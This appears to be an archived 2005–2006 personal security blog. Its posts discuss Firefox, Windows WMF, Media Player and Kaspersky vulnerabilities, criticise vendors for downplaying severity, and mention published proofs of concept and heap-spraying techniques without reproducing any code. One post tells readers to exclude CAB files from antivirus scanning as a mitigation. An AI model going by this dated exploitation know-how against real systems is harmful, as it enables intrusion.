[UPDATE4:] Beware.. createTextRange vulnerability exploits are out!


Wednesday, March 22, 2006 1:09:24 PM UTC | Comments [0] | Security#
Saturday, February 18, 2006

It appears that the severity of the new vulnerability found in Windows Media Player's plug-in for non-IE browsers was downplayed by Microsoft.

According to iDefense's advisory: "Due to unicode translations, shellcode characters are somewhat limited to character code values below 0×80". So, my assumption was that MS ranked this vulnerability with 'Important' severity instead of 'Critical' because of the un-feasibility of injecting a usefully shell-code.

Well, I guess I was wrong. Alphanumeric shell codes can be used, and also SkyLined heap spraying method. Both Proof-of-Concepts were demonstrated by H D Moore and Matthew Murphy.

Back to the books...


Saturday, February 18, 2006 1:00:39 AM UTC | Comments [0] | Security#
Tuesday, February 07, 2006

A week ago, Mozilla Foundation released a new security update which included 8 advisories.
4 of the advisories were rated with 'Moderate' severity. At least 3 of them, IMHO, are exploitable for remote code execution with no user interaction.

Today, HD Moore, the author of Metasploitpublished a remote code execution exploit for one of the 'Moderate' severity rated vulnerabilities.

This again shows you that Mozilla Foundation are not learning from past mistakes and are still downplaying vulnerabilities.

My guess is that they are waiting for an exploit in the wild before they are going to rate any exploitable memory corruption vulnerability as 'Critical'.


Tuesday, February 07, 2006 8:23:18 AM UTC | Comments [5] | Security#
Friday, January 06, 2006

As the great Israeli comedians group, "Hagashash Hachiver", was known to say: "So... What did we have so far?"

One critical vulnerability in Windows' Graphics Rendering Engine. Over 200 known viruses exploiting this vulnerability. At least 3 "generations" of the Metasploit Proof-of-Concept code. Two third-party unofficial patches. One leaked "beta" patch, and one official patch, released 5 days earlier.
And all this in a week or so. Wow! What a great opening for 2006.

According to the Microsoft's security bulletin, and some other sources (haven't bindiff it myself yet...), the patch only forbids the Escape's code execution functionality, if it was called by the WMF rendering engine. But, is it enough?

A quick scan through my %windir%\system32 shows that over 20 DLL files are importing the problematic Escape function.

A better solution by Microsoft would be to forbid the SetAbortProc functionality, as they probably already did in the 64bit version of Windows XP.

I can only hope that they'll provide a better fix, before someone else exploits this design flaw.


Friday, January 06, 2006 6:35:19 PM UTC | Comments [0] | Security#
Sunday, December 18, 2005

SkyLined has just released a new version of "Beta", a binary data encoding tool.
Go get it at Milw0rm.

 


Sunday, December 18, 2005 2:26:27 PM UTC | Comments [1] | Security#
Wednesday, December 14, 2005

After 5 months, Mozilla foundation have finally updated their advisory, and set the severity status to 'Critical'.

This small "victory" actually expose the hypocrisy of the Security Community. Many times before we have seen security experts bashing Microsoft for downplaying vulnerabilities (even patched ones). But, when it comes to Mozilla products, the silence of the community rumbles.

I hope this incident will set a red flag at Mozilla foundation, and they'll do better in the future with their vulnerabilities management. Just a reminder - they have yet to take back their claim of ZIPL0CK's DoS finding to be just a 'minor' issue.

I've also encountered some disturbing information regarding FireFox users who haven't upgraded their browser, and are still vulnerable to the InstallVersion.compareTo() vulnerability. I will publish this info soon.
If you are still using old version of FireFox please upgrade as soon as possible.

 


Wednesday, December 14, 2005 2:09:50 PM UTC | Comments [0] | Security#
Monday, December 12, 2005

What is wrong with the following screen shot?

firefox100_t.jpg


Monday, December 12, 2005 10:11:26 PM UTC | Comments [0] | Security#
Sunday, December 11, 2005

A few days ago, ZIPL0CK introduced a new Denial Of Service vulnerability in Firefox. By creating a huge web page title, which will fill the history.dat file with large content, Firefox will hang for some time (depending the content size and the user's system) on the next time the user will try to use the browser.

Today, Mozilla foundation published an advisory, claiming this issue is not so serious, and that the unresponsiveness of the browser is only "temporary". This is true for the Proof-of-Concept exploit, and for people with strong computers. But by modifying the PoC, an attacker can easily achieve a humongous history.dat file which will cause the Firefox to hang (with 100% CPU utilization) for a LONG LONG time. So long, that most users will not wait just to delete the history as suggested by Mozilla foundation in the advisory. The right workaround would be to delete the history.dat file. Moreover, Mozilla foundation should acknowledge this problem as more severe, and address it as soon as possible.

This reminds me the last time Mozilla underestimated a vulnerability. I've also posted this issue to Full-Disclosure, but yet to receive response from Mozilla. 

I think it's been enough time for people to upgrade from v1.0.4. of Firefox. So, here is the PoC exploit for the InstallVersion.compareTo() vulnerability. The PoC does nothing but returns (this can be easily replaced with shell code), and it uses SkyLined's InternetExploiter2 methodology to inject code to the heap.

[UPDATE:] Apparently, Mozilla team has removed the access to the InstallVersion.compareTo() bug report page. I hope this means they will finally set the severity of this security hole in the advisory to higher than just 'Moderate'.

[Another Update:] Packetstorm has removed the Denial-of-Service exploit page. This PoC can be found at milw0rm.

[Last Update? :] The InstallVersion.compareTo() bug report page is opened again. Unfortunately, the severity of the vulnerability in the advisory is still 'Moderate' :(.

[Last Update! :] Victory! Well, Sort Of..


Sunday, December 11, 2005 1:36:24 PM UTC | Comments [10] | Security#
Thursday, October 06, 2005

According to some messages at the Kaspersky website's forums, there should be a security update available for the "Windows workstations" version of the Anti-Virus. The updated version is 5.0.227.

Yesterday, Kaspersky published a response to the advisory, claiming they released an update to their Anti-Virus signatures that should handle exploitation of the CAB engine vulnerability. They also promised that an update to the engine, that will plug the security hole, will be released.


Thursday, October 06, 2005 8:09:14 AM UTC | Comments [0] | Security#
Monday, October 03, 2005

A new critical vulnerability was found in the Kaspersky Antivirus engine.
According to the advisory, the vulnerability is a Heap Overflow in the CAB file format parsing engine, which can be exploited remotely by receiving a specially crafted CAB file through email or while surfing the web.
There is still no response from the vendor about this issue.
As this advisory includes a Proof of Concept, a malicious exploit will surely arrive soon.
My recommendation to all the Kaspersky Antivirus users is to currently disable CAB files monitoring, by modifying the Real Time Protection settings, until a patch will be available.

To disable Kaspersky CAB files monitoring:
1) Double click the Kaspersky icon in the system tray.
2) Click the "Settings" Tab
3) Click the "modify real time settings" link
4) In the opened window, click the "Additional settings" button.
5) In the opened window, click the "Details" button.
6) In the opened window, check the "Objects" checkbox under the "Exclude from scan" section, and click the enabled "Modify" button.
7) In the opened window, Click the "Add" button.
8) In the opened window, write "*.cab". Click "Open" Button.
9) Click the "OK" button, and again.. the "OK" Button.
10) Click on the "E-mail" tab.
11) Follow sections 5-9 to disable monitoring CAB files in email attachments.

After the patch for this security hole is available and installed, make sure you restore to the default settings by clicking the "restore default settings" link under the "Settings" tab.


Monday, October 03, 2005 10:58:48 PM UTC | Comments [0] | Security#
Wednesday, September 28, 2005

Good news for the security industry.
eWeek reports on a new plan to create a database for common names of malwares.
This will reduce the confusion of trying to figure out which Virus are people actually talk about.

A great example is the last Trojan Horse involved in the industrial espionage incident that took place in Israel last May. Symantec called the Trojan "Rona" or "Hotword", while McAfee called it "PWS-HOTWORLD". This created a big confusion in the media.

The even better news is that this database will not be commercial, so I'm sure it will help the security industry in creating better collaborative tools for fighting malwares.


Wednesday, September 28, 2005 12:29:11 PM UTC | Comments [0] | Security#
Sunday, September 25, 2005

A Firefox exploit for the IDN security hole, created by SkyLined, is out in the wild.

All Firefox users should upgrade to the latest version - v1.0.7.


Sunday, September 25, 2005 9:33:20 AM UTC | Comments [0] | Security#
Send me an Email
Follow me on Twitter
RSS Feeds
  
Blogroll
Archive
Admin Login
Sign In
Disclaimer
The opinions expressed herein are my own personal opinions and do not represent my employer's view in anyway.